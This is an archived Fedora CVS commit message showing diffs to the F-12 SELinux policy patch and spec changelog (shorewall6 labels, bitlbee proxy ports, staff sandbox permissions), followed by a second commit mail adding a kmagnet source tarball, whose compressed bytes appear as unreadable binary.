 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   57 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    7 
 policy/modules/apps/sectoolm.fc           |    6 
 policy/modules/apps/sectoolm.if           |    3 
 policy/modules/apps/sectoolm.te           |  120 ++
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   32 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   36 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++
 policy/modules/kernel/domain.te           |   88 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  324 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  126 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 ++++++++++++
 policy/modules/roles/unconfineduser.te    |  425 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   37 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   58 +
 policy/modules/services/abrt.te           |   26 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   41 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  445 +++++++-
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bitlbee.te        |    2 
 policy/modules/services/bluetooth.if      |   21 
 policy/modules/services/bluetooth.te      |   11 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 +
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   20 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    6 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   42 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   58 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   22 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/git.fc            |    8 
 policy/modules/services/git.if            |  286 +++++
 policy/modules/services/git.te            |  166 +++
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.fc          |    2 
 policy/modules/services/inetd.te          |    4 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    1 
 policy/modules/services/lircd.if          |    9 
 policy/modules/services/lircd.te          |   21 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    3 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   16 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   72 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   65 +
 policy/modules/services/networkmanager.te |  115 +-
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 
 policy/modules/services/policykit.te      |   64 -
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++
 policy/modules/services/postfix.te        |  142 ++
 policy/modules/services/postgresql.fc     |   16 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 ++++++
 policy/modules/services/rhcs.te           |  394 +++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  123 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  138 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 ++-
 policy/modules/services/ssh.te            |   77 -
 policy/modules/services/sssd.fc           |    5 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |   12 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/tuned.fc          |    6 
 policy/modules/services/tuned.if          |  140 ++
 policy/modules/services/tuned.te          |   58 +
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   13 
 policy/modules/services/virt.if           |  180 +++
 policy/modules/services/virt.te           |  274 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   37 
 policy/modules/services/xserver.if        |  588 ++++++++++-
 policy/modules/services/xserver.te        |  336 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 ++-
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   58 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 +
 policy/modules/system/iptables.te         |   20 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  164 ++-
 policy/modules/system/libraries.if        |    5 
 policy/modules/system/libraries.te        |   18 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   29 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   39 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 --------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1517 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   47 
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 375 files changed, 18232 insertions(+), 2753 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.118
retrieving revision 1.119
diff -u -p -r1.118 -r1.119
--- policy-F12.patch	26 Oct 2009 19:31:23 -0000	1.118
+++ policy-F12.patch	27 Oct 2009 20:55:55 -0000	1.119
@@ -1034,7 +1034,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/rpm.te serefpolicy-3.6.32/policy/modules/admin/rpm.te
 --- nsaserefpolicy/policy/modules/admin/rpm.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/rpm.te	2009-10-26 09:07:41.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/rpm.te	2009-10-27 11:12:12.000000000 -0400
 @@ -15,6 +15,9 @@
  domain_interactive_fd(rpm_t)
  role system_r types rpm_t;
@@ -1228,15 +1228,17 @@ diff -b -B --ignore-all-space --exclude-
  
  dev_list_sysfs(rpm_script_t)
  
-@@ -255,6 +286,7 @@
+@@ -254,7 +285,9 @@
+ fs_getattr_xattr_fs(rpm_script_t)
  fs_mount_xattr_fs(rpm_script_t)
  fs_unmount_xattr_fs(rpm_script_t)
++fs_search_all(rpm_script_t)
  fs_search_auto_mountpoints(rpm_script_t)
 +fs_getattr_all_fs(rpm_script_t)
  
  mcs_killall(rpm_script_t)
  mcs_ptrace_all(rpm_script_t)
-@@ -272,14 +304,19 @@
+@@ -272,14 +305,19 @@
  storage_raw_read_fixed_disk(rpm_script_t)
  storage_raw_write_fixed_disk(rpm_script_t)
  
@@ -1256,7 +1258,7 @@ diff -b -B --ignore-all-space --exclude-
  
  domain_read_all_domains_state(rpm_script_t)
  domain_getattr_all_domains(rpm_script_t)
-@@ -291,8 +328,10 @@
+@@ -291,8 +329,10 @@
  files_exec_etc_files(rpm_script_t)
  files_read_etc_runtime_files(rpm_script_t)
  files_exec_usr_files(rpm_script_t)
@@ -1267,7 +1269,7 @@ diff -b -B --ignore-all-space --exclude-
  
  libs_exec_ld_so(rpm_script_t)
  libs_exec_lib_files(rpm_script_t)
-@@ -308,12 +347,15 @@
+@@ -308,12 +348,15 @@
  seutil_domtrans_loadpolicy(rpm_script_t)
  seutil_domtrans_setfiles(rpm_script_t)
  seutil_domtrans_semanage(rpm_script_t)
@@ -1283,7 +1285,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -326,13 +368,22 @@
+@@ -326,13 +369,22 @@
  ')
  
  optional_policy(`
@@ -1307,9 +1309,23 @@ diff -b -B --ignore-all-space --exclude-
  
  	optional_policy(`
  		java_domtrans_unconfined(rpm_script_t)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/shorewall.fc serefpolicy-3.6.32/policy/modules/admin/shorewall.fc
+--- nsaserefpolicy/policy/modules/admin/shorewall.fc	2009-09-09 09:23:16.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/shorewall.fc	2009-10-27 09:33:16.000000000 -0400
+@@ -4,8 +4,9 @@
+ /etc/shorewall(/.*)?				gen_context(system_u:object_r:shorewall_etc_t,s0)
+ /etc/shorewall-lite(/.*)?			gen_context(system_u:object_r:shorewall_etc_t,s0)
+ 
+-/sbin/shorewall				--	gen_context(system_u:object_r:shorewall_exec_t,s0)
++/sbin/shorewall6?			--	gen_context(system_u:object_r:shorewall_exec_t,s0)
+ /sbin/shorewall-lite			--	gen_context(system_u:object_r:shorewall_exec_t,s0)
+ 
+ /var/lib/shorewall(/.*)?			gen_context(system_u:object_r:shorewall_var_lib_t,s0)
++/var/lib/shorewall6(/.*)?			gen_context(system_u:object_r:shorewall_var_lib_t,s0)
+ /var/lib/shorewall-lite(/.*)?			gen_context(system_u:object_r:shorewall_var_lib_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/shorewall.if serefpolicy-3.6.32/policy/modules/admin/shorewall.if
 --- nsaserefpolicy/policy/modules/admin/shorewall.if	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/shorewall.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/shorewall.if	2009-10-27 09:33:58.000000000 -0400
 @@ -75,6 +75,46 @@
  	rw_files_pattern($1, shorewall_var_run_t, shorewall_var_run_t)
  ')
@@ -5682,7 +5698,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/corenetwork.te.in serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in
 --- nsaserefpolicy/policy/modules/kernel/corenetwork.te.in	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in	2009-10-21 07:47:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in	2009-10-26 15:32:50.000000000 -0400
 @@ -65,6 +65,7 @@
  type server_packet_t, packet_type, server_packet_type;
  
@@ -5782,9 +5798,9 @@ diff -b -B --ignore-all-space --exclude-
  network_port(uucpd, tcp,540,s0)
 +network_port(ups, tcp,3493,s0)
  network_port(varnishd, tcp,6081,s0, tcp,6082,s0)
++network_port(virt, tcp,16509,s0, udp,16509,s0, tcp,16514,s0, udp,16514,s0)
 +network_port(virt_migration, tcp,49152,s0)
 +portcon tcp 49153-49216 gen_context(system_u:object_r:virt_migration_port_t,s0)
-+network_port(virt, tcp,16509,s0, udp,16509,s0, tcp,16514,s0, udp,16514,s0)
  network_port(vnc, tcp,5900,s0)
 +# Reserve 100 ports for vnc/virt machines
 +portcon tcp 5901-5999 gen_context(system_u:object_r:vnc_port_t,s0)
@@ -6221,7 +6237,7 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/domain.if serefpolicy-3.6.32/policy/modules/kernel/domain.if
 --- nsaserefpolicy/policy/modules/kernel/domain.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/domain.if	2009-10-22 14:59:27.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/domain.if	2009-10-27 11:08:41.000000000 -0400
 @@ -44,34 +44,6 @@
  interface(`domain_type',`
  	# start with basic domain
@@ -7057,7 +7073,7 @@ diff -b -B --ignore-all-space --exclude-
 +/dev/shm		-d	gen_context(system_u:object_r:tmpfs_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/filesystem.if serefpolicy-3.6.32/policy/modules/kernel/filesystem.if
 --- nsaserefpolicy/policy/modules/kernel/filesystem.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.if	2009-10-26 14:40:22.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/filesystem.if	2009-10-27 11:11:17.000000000 -0400
 @@ -1149,6 +1149,44 @@
  	domain_auto_transition_pattern($1, cifs_t, $2)
  ')
@@ -7705,31 +7721,32 @@ diff -b -B --ignore-all-space --exclude-
 +gen_user(guest_u, user, guest_r, s0, s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/staff.te serefpolicy-3.6.32/policy/modules/roles/staff.te
 --- nsaserefpolicy/policy/modules/roles/staff.te	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/roles/staff.te	2009-09-30 16:12:48.000000000 -0400
-@@ -15,156 +15,109 @@
++++ serefpolicy-3.6.32/policy/modules/roles/staff.te	2009-10-26 16:38:35.000000000 -0400
+@@ -10,161 +10,117 @@
+ 
+ userdom_unpriv_user_template(staff)
+ 
++# needed for sandbox
++allow staff_t self:process setexec setfscreate;
++
+ ########################################
+ #
  # Local policy
  #
  
 -optional_policy(`
 -	apache_role(staff_r, staff_t)
 -')
-+kernel_read_ring_buffer(staff_t)
-+kernel_getattr_core_if(staff_t)
-+kernel_getattr_message_if(staff_t)
-+kernel_read_software_raid_state(staff_t)
- 
+-
 -optional_policy(`
 -	auth_role(staff_r, staff_t)
 -')
-+auth_domtrans_pam_console(staff_t)
- 
+-
 -optional_policy(`
 -	auditadm_role_change(staff_r)
 -')
-+seutil_run_newrole(staff_t, staff_r)
-+netutils_run_ping(staff_t, staff_r)
- 
- optional_policy(`
+-
+-optional_policy(`
 -	bluetooth_role(staff_r, staff_t)
 -')
 -
@@ -7756,16 +7773,23 @@ diff -b -B --ignore-all-space --exclude-
 -optional_policy(`
 -	games_role(staff_r, staff_t)
 -')
--
++kernel_read_ring_buffer(staff_t)
++kernel_getattr_core_if(staff_t)
++kernel_getattr_message_if(staff_t)
++kernel_read_software_raid_state(staff_t)
+ 
 -optional_policy(`
 -	gift_role(staff_r, staff_t)
 -')
--
++auth_domtrans_pam_console(staff_t)
+ 
 -optional_policy(`
 -	gnome_role(staff_r, staff_t)
 -')
--
--optional_policy(`
++seutil_run_newrole(staff_t, staff_r)
++netutils_run_ping(staff_t, staff_r)
+ 
+ optional_policy(`
 -	gpg_role(staff_r, staff_t)
 +	sudo_role_template(staff, staff_r, staff_t)
  ')
@@ -11541,6 +11565,18 @@ diff -b -B --ignore-all-space --exclude-
  ##	All of the rules required to administrate 
  ##	an bind environment
  ## </summary>
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/bitlbee.te serefpolicy-3.6.32/policy/modules/services/bitlbee.te
+--- nsaserefpolicy/policy/modules/services/bitlbee.te	2009-08-14 16:14:31.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/bitlbee.te	2009-10-27 15:03:37.000000000 -0400
+@@ -68,6 +68,8 @@
+ # MSN can use passport auth, which is over http:
+ corenet_tcp_connect_http_port(bitlbee_t)
+ corenet_tcp_sendrecv_http_port(bitlbee_t)
++corenet_tcp_connect_http_cache_port(bitlbee_t)
++corenet_tcp_sendrecv_http_cache_port(bitlbee_t)
+ 
+ dev_read_rand(bitlbee_t)
+ dev_read_urand(bitlbee_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/bluetooth.if serefpolicy-3.6.32/policy/modules/services/bluetooth.if
 --- nsaserefpolicy/policy/modules/services/bluetooth.if	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/bluetooth.if	2009-10-21 07:54:27.000000000 -0400
@@ -22744,7 +22780,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/virt.te serefpolicy-3.6.32/policy/modules/services/virt.te
 --- nsaserefpolicy/policy/modules/services/virt.te	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/virt.te	2009-10-26 15:19:55.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/virt.te	2009-10-26 16:18:49.000000000 -0400
 @@ -20,6 +20,28 @@
  ## </desc>
  gen_tunable(virt_use_samba, false)
@@ -26518,7 +26554,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/iptables.te serefpolicy-3.6.32/policy/modules/system/iptables.te
 --- nsaserefpolicy/policy/modules/system/iptables.te	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/iptables.te	2009-10-26 15:12:43.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/iptables.te	2009-10-27 09:34:30.000000000 -0400
 @@ -11,6 +11,12 @@
  init_system_domain(iptables_t, iptables_exec_t)
  role system_r types iptables_t;
@@ -26569,6 +26605,17 @@ diff -b -B --ignore-all-space --exclude-
  	rhgb_dontaudit_use_ptys(iptables_t)
  ')
  
+@@ -108,5 +123,10 @@
+ ')
+ 
+ optional_policy(`
++	shorewall_rw_var_lib(iptables_t)
++')
++
++optional_policy(`
+ 	udev_read_db(iptables_t)
+ ')
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/iscsi.if serefpolicy-3.6.32/policy/modules/system/iscsi.if
 --- nsaserefpolicy/policy/modules/system/iscsi.if	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/system/iscsi.if	2009-09-30 16:12:48.000000000 -0400
@@ -30260,7 +30307,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-23 09:13:02.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-26 15:32:20.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.951
retrieving revision 1.952
diff -u -p -r1.951 -r1.952
--- selinux-policy.spec	26 Oct 2009 19:31:24 -0000	1.951
+++ selinux-policy.spec	27 Oct 2009 20:55:56 -0000	1.952
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 34%{?dist}
+Release: 35%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -445,12 +445,16 @@ exit 0
 %endif
 
 %changelog
+* Tuei Oct 27 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-35
+- Allow bittlebee to connect to privoxy port
+
 * Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-34
 - Turn allow_postfix_local_write_mail_spool on by default
 - Allow bluetooth setpcap
 - Allow dbus to transiton to rpm_t when executing debuginfo-install
 - Allow chrome-sandbox to sends it self signals.
 - Fix the labeling of /usr/lib/libswscale.so.0.7.1
+- Allow spamassassin to list /var/lib/spamassassin
 
 * Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-33
 - Allow firefox to transition to java



From rrix at fedoraproject.org  Tue Oct 27 20:57:10 2009
From: rrix at fedoraproject.org (Ryan Rix)
Date: Tue, 27 Oct 2009 20:57:10 +0000 (UTC)
Subject: rpms/kmagnet/F-10 109111-kmagnet-0.03.tar.bz2,NONE,1.1
Message-ID: <20091027205710.7B80B11C00E6@cvs1.fedora.phx.redhat.com>

Author: rrix

Update of /cvs/pkgs/rpms/kmagnet/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4100

Added Files:
	109111-kmagnet-0.03.tar.bz2 
Log Message:
Adding Source0 for dist-f10



--- NEW FILE 109111-kmagnet-0.03.tar.bz2 ---
BZh91AY&SY?T"?
?f???=???}?S!P?2?_y???uR?P??
?????@
b?EJ??X???y??????!?]?????
??#??$?/=??I??s?T????z>??????+f
9??dE!"?7?W at K?=w?S?e$??<=

?
?m????5

V???AQ
??
DT?IZ2????B?RT???J?B?T?????T?%??)M?iJ%JRm?"SM
d
3????~?y?g?=Lh=SF54z?c??O(?SOS??z&44?zmB0M??C'????$?D?
=54??i?z5<S??T4???O5#?
????? h

???K??&?j?O???}?@??????g????
????$???#??y?#
????w_
??J=??A??1?u?hl?(??
???9g?2o7?Z)e?3?????????.6??is_n?k[???P
?m??1?x???s?
???x?????@J?V?J7??y??(?zB???l????a???(s???P??NJ?Eg?????^Orr??e,?:?MfCEnm?:???<O???4
A???<E???
G&??ur(1?+>c?L????V???=?G?W?wu ??
B|Vt?N?x????e???_9?^???-f ??z??B-
w?c??<??epp??>
+e?????-??G?m?P???,?k??|@v??(?	?x?~?????????yV?P??
???S??????dE?2 ?s?3?? ?@WwH?"|? 	?g $??}?j?=bi???<?v.???n????l???]W???|)8??b??o???:???
????????J????@?c7??,??CdQKm&j6?lw?c?~L;Y???B?9?9??HJ?a@??]px?s
?o"????i??"???1`???>T?J??3?A?M?W????????h?S???,k?[??<B??x?]????x?I???e??r????????U??t??????e?M??I?U??mG??t?
?}???n[?/?
?x??????2????'I?K2?@.???^3 ???????8}e???Lu???
????Oaa/?????y????-??Y/?? u2P?u???nv?@? ????`~???~??2???(???FW????X?>-?J?k???????qxf'0cp%J?
??Mt??_y???
???)?????r???H?c????`???qq?FV?_~???m??G?k?lIp?2?'tm?+?9.?????>???.?0?$?;?Zz<
?S??q*n'?? ?A?Am5? ]V???&??_?h@???3???g?*?|F?U????@?X??`??A???i?????9?h 0F2g??tR
2???xt??Cog?q??f??_?????g?o??2?w??D???O+r?G???qw???Z4?I8??}??=??a?????g!r?E?"d?4????P7??c??[?,??
?#0????k?No??????^??g?J?????? >??3?.??oU???????????C??z??\u?U????B?????j"=??Dh
